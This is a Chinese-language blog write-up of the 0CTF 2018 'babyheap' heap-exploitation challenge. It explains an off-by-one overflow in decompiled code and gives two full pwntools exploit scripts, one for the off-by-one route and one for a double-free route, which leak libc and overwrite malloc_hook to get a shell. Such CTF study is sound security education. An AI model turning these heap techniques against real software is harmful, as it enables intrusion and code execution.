avatar

0ctf2018 babyheap

idea

1
2
3
4
5
6
7
❯ checksec babyheap
[*] '/Users/carlstar/tools/CTF/PWN/heap/off by one/babyheap/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

突然发现我还不会 off-by-one,找了一道题花了一晚上学习了一下,学习的过程中突然发现了还有 double free 的解法,一起拿来分享一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __fastcall edit(__int64 a1)
{
unsigned __int64 new_size; // rax
signed int index; // [rsp+18h] [rbp-8h]
int input_size; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
index = read_int();
if ( index >= 0 && index <= 15 && *(_DWORD *)(24LL * index + a1) == 1 )
{
printf("Size: ");
LODWORD(new_size) = read_int();
input_size = new_size;
if ( (signed int)new_size > 0 )
{
new_size = *(_QWORD *)(24LL * index + a1 + 8) + 1LL; //off-by-one
if ( input_size <= new_size )
{
printf("Content: ");
sub_1230(*(_QWORD *)(24LL * index + a1 + 16), input_size);
LODWORD(new_size) = printf("Chunk %d Updated\n", (unsigned int)index);
}
}
}
else
{
LODWORD(new_size) = puts("Invalid Index");
}
return new_size;
}

漏洞很明显,在 edit 的时候会多写一个 byte,我们可以构造堆块大小为 0xx8。比如我们申请 2 个堆 A B。

1
2
3
size A = 0x18  
size B = 0x38
因为堆块的管理机制,在不是 free 的状态下,为了提高效率,多出来的 8 bytes 会占用下一个堆块的 prev_size 位,这样实际的两个堆块大小为 A(0x20) B(0x40) 。如果可以多溢出一个 byte,意味着我们可以更改下一个堆块的 size 范围是 0x00--0xff。这样就可以构造合适的堆来 overlap。

这道题目的存放堆信息的地方不在 bss 上,而是 mmap 随机出来的一个地址,调试起来比较麻烦。

1
2
3
4
5
6
7
addr = (char *)((buf
- 93824992161792LL * ((unsigned __int64)(0xC000000294000009LL * (unsigned __int128)buf >> 64) >> 46)
+ 0x10000) & 0xFFFFFFFFFFFFF000LL);
v3 = (v5 - 3712 * (0x8D3DCB08D3DCB0DLL * (unsigned __int128)(v5 >> 7) >> 64)) & 0xFFFFFFFFFFFFFFF0LL;
if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
exit(-1);
return &addr[v3];

还有就是在 add 的时候只能申请小于等于 0x58 的堆块,这样就不能像平常那样申请 0x60 在打 malloc_hook - 0x23 那个套路了。而且是 calloc 申请的堆,申请时会清空堆里的内容,这样有 uaf 也不能用了(虽然没有)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall add(__int64 a1)
{
signed int i; // [rsp+10h] [rbp-10h]
signed int size; // [rsp+14h] [rbp-Ch]
void *heap_addr; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
size = read_int();
if ( size > 0 )
{
if ( size > 0x58 )
size = 0x58;
heap_addr = calloc(size, 1uLL);
if ( !heap_addr )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1;
*(_QWORD *)(a1 + 24LL * i + 8) = size;
*(_QWORD *)(a1 + 24LL * i + 16) = heap_addr;
printf("Chunk %d Allocated\n", (unsigned int)i);
}
return;
}
}
}

好了,针对上面的问题,我们改如果解决呢?

###首先是泄漏地址

1
虽然限制了 calloc 的大小,但是可以用 off-by-one 来改大一个堆的 size ,大小在 unsortedbin,这样 free 掉的话就会有 libc 地址,然后 mmap 记录堆地址的只会减 1,我们在申请一个相同大小的 heap,这样就会从 unsortedbin 中切一块儿出来,然后 show 相邻的下一个堆就会有泄漏。

控制程序流

1
2
3
1、因为 fastbin 在分配时会检查当前申请的堆块大小是否在相应 fastbin 中,又只能申请到小于等于 0x58 大小的堆块。给的 libc 是 2.24,那么堆块的地址很有可能是 0x55e89d8d1070 这样的,我们可以像 unsortedbin attack 打 free_hook 踩出 size 一样,申请 0x58 在 free 掉,这样就会在 0x60 大小的 fastbin 中出现如 0x5x 的 size,但是这个大小的 bin 中只能有一个 free 掉的 heap,要不然就不能错位构造 size 了。

2、构造出来 size 我们可以先打 top chunk,因为 top chunk 在 fastbin 的下方,这样我们修改 top chunk 的地址为 malloc - 0x23 ,这样我们下次随便 calloc 的时候就会拿到这个地址,因为我本地的 2.24 libc 和比赛时的有差,执行 one_gadgets 的时候都不行,直接把 malloc_hook 改为 __libc_realloc,下断点调试了一下,把栈抬高 0x8 就满足了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 1
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_magic = [0x45216,0x4526a,0xf02a4,0xf1147]
#libc_realloc = 0x846c0

#18_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.13', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('ip', 1337)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')


def add(size):
sla('Command: ', '1')
sla('Size: ', size)


def edit(index, size, text):
sla('Command: ', '2')
sla('Index: ', index)
sla('Size: ', size)
sla('Content: ', text)


def show(index):
sla('Command: ', '4')
sla('Index: ', index)





def free(index):
sla('Command: ', '3')
sla('Index: ', index)







add(0x48) #0
add(0x48) #1
add(0x48) #2
add(0x48) #3
edit(0,0x49,cyclic(72) + '\xa1')
free(1)
add(0x48) #1
show(2)
rn(10)
addr_libc = uu64(rn(6)) - 88 - 0x398af0 - 0x10
leak('addr_libc', addr_libc)
addr_hook = addr_libc + 0x398af0
magic = addr_libc + 0x3f50a
add(0x48)
free(1)
free(2)
show(4)
rn(10)
addr_heap = uu64(rn(6)) - 0x50
leak('addr_heap', addr_heap)
add(0x58)
free(1)
edit(4,0x9,p64(addr_hook +0x10 + 0x25))
add(0x48)
add(0x48)
edit(2, 0x2c, "\x00"*35 + p64(addr_hook - 0x23))
debug()
add(0x38)
leak('addr_one', magic)
edit(5,28,cyclic(11) + p64(magic) + p64(addr_libc + 0x7b960 + 2))
leak('addr_re', addr_libc + 0x7b960)
add(0x10)
irt()

double free

image-20200429202049542

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *

if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = 1
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
rn = lambda numb :t.recvn(numb)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
# x64 below
#16_magic = [0x45216,0x4526a,0xf02a4,0xf1147]
#libc_realloc = 0x846c0

#18_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('10.211.55.13', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
t = remote('ip', 1337)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')


def add(size):
sla('Command: ', '1')
sla('Size: ', size)


def edit(index, size, text):
sla('Command: ', '2')
sla('Index: ', index)
sla('Size: ', size)
sla('Content: ', text)


def show(index):
sla('Command: ', '4')
sla('Index: ', index)





def free(index):
sla('Command: ', '3')
sla('Index: ', index)






add(0x18) #0
add(0x48) #1
add(0x48) #2
add(0x58) #3
add(0x38) #4
edit(0,0x19,cyclic(24) + '\xa1')
free(1)
add(0x48) #1
show(2)
rn(10)
addr_libc = uu64(rn(6)) - 88 - 0x398af0 - 0x10
leak('addr_libc', addr_libc)
addr_hook = addr_libc + 0x398af0
magic = addr_libc + 0x3f50a
add(0x48)
free(5)
free(1)
free(3)
free(2)
debug()
add(0x48)
edit(1,0x8,p64(addr_hook + 0x10 + 0x25))
add(0x48)
add(0x48)
add(0x48)
edit(5,43,cyclic(35) + p64(addr_hook - 0x23))
debug()
add(0x38)
edit(6,28,cyclic(11) + p64(magic) + p64(addr_libc + 0x7b960 + 2))
leak('addr_re', addr_libc + 0x7b960)
add(0x10)
irt()
Author: CarlStar
Link: http://yoursite.com/2020/04/29/0ctf/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment